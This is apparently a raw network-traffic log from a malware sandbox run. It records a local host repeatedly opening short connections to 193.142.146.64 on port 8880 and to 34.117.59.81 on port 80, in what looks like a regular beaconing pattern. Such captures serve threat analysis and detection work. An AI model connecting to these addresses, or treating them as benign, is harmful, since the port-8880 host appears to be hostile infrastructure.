Oct 5, 2024 16:46:41.955229044 CEST	8880	49815	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:41.955347061 CEST	49815	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:41.957458019 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:41.959182024 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:41.962647915 CEST	80	49804	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:41.962727070 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:41.964112997 CEST	80	49816	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:41.964262009 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:41.964350939 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:41.969563961 CEST	80	49816	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:42.475538969 CEST	80	49816	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:42.476047039 CEST	49815	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:42.480957031 CEST	8880	49815	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:42.481091022 CEST	49815	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:42.485932112 CEST	8880	49815	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:42.653198004 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:43.606344938 CEST	8880	49815	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:43.606470108 CEST	49815	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:43.661052942 CEST	49815	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:43.665894032 CEST	8880	49815	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:44.668901920 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:44.673840046 CEST	8880	49832	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:44.673964024 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:44.674532890 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:44.676321983 CEST	49833	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:44.679591894 CEST	80	49816	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:44.679655075 CEST	49816	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:44.681231976 CEST	80	49833	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:44.681734085 CEST	49833	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:44.681809902 CEST	49833	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:44.686661959 CEST	80	49833	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:45.156877995 CEST	80	49833	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:45.158427000 CEST	49833	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:45.158529997 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:45.163429022 CEST	8880	49832	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:45.163501024 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:45.163537025 CEST	80	49833	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:45.163599014 CEST	49833	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:45.168323994 CEST	8880	49832	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:46.293195963 CEST	8880	49832	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:46.293957949 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:46.294245958 CEST	49832	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:46.299104929 CEST	8880	49832	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:47.310575962 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:47.315514088 CEST	8880	49849	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:47.315597057 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:47.316762924 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:47.321683884 CEST	80	49850	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:47.321814060 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:47.321887016 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:47.326757908 CEST	80	49850	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:47.797816992 CEST	80	49850	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:47.798048973 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:47.803308964 CEST	8880	49849	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:47.803364992 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:47.808928967 CEST	8880	49849	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:47.890259027 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:48.955012083 CEST	8880	49849	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:48.955143929 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:48.955373049 CEST	49849	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:48.960989952 CEST	8880	49849	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:49.966101885 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:50.067760944 CEST	8880	49861	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:50.067843914 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:50.069238901 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:50.069581985 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:50.075504065 CEST	80	49865	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:50.075624943 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:50.075680971 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:50.076164007 CEST	80	49850	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:50.076227903 CEST	49850	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:50.080563068 CEST	80	49865	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:50.579448938 CEST	80	49865	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:50.579823971 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:50.585625887 CEST	8880	49861	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:50.585726976 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:50.591413021 CEST	8880	49861	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:50.715544939 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:51.685458899 CEST	8880	49861	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:51.685596943 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:51.685719013 CEST	49861	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:51.690654039 CEST	8880	49861	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:52.751785040 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:52.756742001 CEST	8880	50328	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:52.757905960 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:52.762459993 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:52.767421007 CEST	80	50329	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:52.769845009 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:52.770040989 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:52.770651102 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:52.775017023 CEST	80	50329	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:52.776619911 CEST	80	49865	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:52.776742935 CEST	49865	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:53.566658974 CEST	80	50329	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:53.567001104 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:53.567800999 CEST	80	50329	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:53.567847967 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:53.572154999 CEST	8880	50328	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:53.572279930 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:53.577480078 CEST	8880	50328	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:54.406549931 CEST	8880	50328	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:54.406660080 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:54.407054901 CEST	50328	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:54.411847115 CEST	8880	50328	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:55.441694975 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:55.446783066 CEST	8880	50342	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:55.447845936 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:55.494941950 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:55.500900030 CEST	80	50329	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:55.500958920 CEST	50329	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:55.889417887 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:55.894391060 CEST	80	50348	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:55.897856951 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:55.901055098 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:55.905864954 CEST	80	50348	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:56.379522085 CEST	80	50348	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:56.379791021 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:56.384644032 CEST	8880	50342	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:56.384697914 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:56.389682055 CEST	8880	50342	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:56.434286118 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:57.078176975 CEST	8880	50342	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:57.078306913 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:57.078635931 CEST	50342	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:57.083441973 CEST	8880	50342	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:58.092212915 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:58.097228050 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:58.097347021 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:58.098867893 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:58.098913908 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:58.103785038 CEST	80	50364	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:58.103899002 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:58.103904009 CEST	80	50348	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:58.103980064 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:58.103985071 CEST	50348	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:58.108771086 CEST	80	50364	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:58.681879044 CEST	80	50364	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:58.682431936 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:58.687654972 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:58.687896013 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:58.693073034 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:58.731300116 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:59.979429007 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:59.979501963 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:59.979528904 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:59.979598045 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:59.979749918 CEST	50363	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:59.984606028 CEST	8880	50363	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:00.981389046 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:00.986196041 CEST	8880	50380	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:00.986294031 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:00.987627983 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:00.987951040 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:00.992429018 CEST	80	50381	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:00.992677927 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:00.992677927 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:00.993052959 CEST	80	50364	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:00.993125916 CEST	50364	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:00.997484922 CEST	80	50381	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:01.493001938 CEST	80	50381	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:01.493278027 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:01.498176098 CEST	8880	50380	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:01.498486996 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:01.503341913 CEST	8880	50380	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:01.543771982 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:02.660538912 CEST	8880	50380	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:02.660595894 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:02.660819054 CEST	50380	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:02.665528059 CEST	8880	50380	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:03.673680067 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:03.678589106 CEST	8880	50397	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:03.678803921 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:03.682146072 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:03.682297945 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:03.686944008 CEST	80	50398	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:03.687362909 CEST	80	50381	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:03.687443972 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:03.687472105 CEST	50381	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:03.688852072 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:03.693587065 CEST	80	50398	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:04.163184881 CEST	80	50398	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:04.163676023 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:04.168539047 CEST	8880	50397	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:04.168605089 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:04.173495054 CEST	8880	50397	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:04.215572119 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:05.295296907 CEST	8880	50397	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:05.295356035 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:05.295598984 CEST	50397	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:05.300389051 CEST	8880	50397	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:06.310360909 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:06.315464973 CEST	8880	50414	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:06.315690041 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:06.316253901 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:06.316998959 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:06.321333885 CEST	80	50398	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:06.321912050 CEST	80	50415	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:06.322098970 CEST	50398	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:06.322195053 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:06.322479010 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:06.327205896 CEST	80	50415	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:06.805242062 CEST	80	50415	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:06.806320906 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:06.814665079 CEST	8880	50414	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:06.815408945 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:06.820346117 CEST	8880	50414	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:06.856286049 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:07.936274052 CEST	8880	50414	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:07.936491966 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:07.936682940 CEST	50414	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:07.941518068 CEST	8880	50414	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:08.950181961 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:08.955533028 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:08.955663919 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:08.956245899 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:08.957134962 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:08.961643934 CEST	80	50415	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:08.961700916 CEST	50415	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:08.961936951 CEST	80	50432	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:08.961997986 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:08.962059021 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:08.966917038 CEST	80	50432	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:09.473046064 CEST	80	50432	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:09.473381996 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:09.479325056 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:09.479387045 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:09.487993002 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:09.528081894 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:11.605921030 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:11.605998993 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:11.606045961 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:11.606075048 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:11.606091022 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:11.606113911 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:11.606173992 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:11.606220007 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:11.606630087 CEST	50431	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:11.611423016 CEST	8880	50431	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:12.622154951 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:12.627302885 CEST	8880	50444	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:12.629920006 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:12.631086111 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:12.631237030 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:12.636084080 CEST	80	50445	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:12.636212111 CEST	80	50432	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:12.636290073 CEST	50432	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:12.636291981 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:12.636420965 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:12.641237974 CEST	80	50445	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:13.113657951 CEST	80	50445	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:13.114829063 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:13.119646072 CEST	8880	50444	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:13.121800900 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:13.126610994 CEST	8880	50444	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:13.168742895 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:14.247096062 CEST	8880	50444	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:14.247179985 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:14.247344971 CEST	50444	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:14.252332926 CEST	8880	50444	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:15.263770103 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:15.268829107 CEST	8880	50449	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:15.269869089 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:15.270512104 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:15.271272898 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:15.275634050 CEST	80	50445	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:15.276200056 CEST	80	50450	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:15.276262999 CEST	50445	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:15.276300907 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:15.276431084 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:15.281220913 CEST	80	50450	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:15.765188932 CEST	80	50450	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:15.765516996 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:15.770382881 CEST	8880	50449	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:15.770445108 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:15.775254011 CEST	8880	50449	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:15.809463024 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:16.923315048 CEST	8880	50449	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:16.923379898 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:16.923590899 CEST	50449	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:16.928493977 CEST	8880	50449	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:17.934777975 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:17.939856052 CEST	8880	50451	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:17.939929008 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:17.940618992 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:17.941545010 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:17.945976973 CEST	80	50450	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:17.946038008 CEST	50450	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:17.946454048 CEST	80	50452	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:17.946512938 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:17.946633101 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:17.951409101 CEST	80	50452	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:18.431031942 CEST	80	50452	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:18.431307077 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:18.441807985 CEST	8880	50451	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:18.441886902 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:18.448179960 CEST	8880	50451	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:18.481657028 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:19.561547041 CEST	8880	50451	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:19.561669111 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:19.561849117 CEST	50451	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:19.566731930 CEST	8880	50451	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:20.575306892 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:20.917254925 CEST	8880	50453	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:20.917397022 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:20.918051004 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:20.923326969 CEST	80	50452	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:20.923424006 CEST	50452	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:20.926151991 CEST	50454	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:20.931305885 CEST	80	50454	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:20.931490898 CEST	50454	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:20.931583881 CEST	50454	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:20.940208912 CEST	80	50454	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:21.425858974 CEST	80	50454	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:21.426156044 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:21.431132078 CEST	8880	50453	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:21.431201935 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:21.436144114 CEST	8880	50453	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:21.481283903 CEST	50454	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:22.544359922 CEST	8880	50453	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:22.544450045 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:22.544620991 CEST	50453	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:22.549619913 CEST	8880	50453	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:23.560015917 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:23.565006971 CEST	8880	50455	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:23.565103054 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:23.655673981 CEST	50456	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:23.660820007 CEST	80	50456	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:23.661009073 CEST	50456	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:23.679546118 CEST	50456	80	192.168.2.7	34.117.59.81
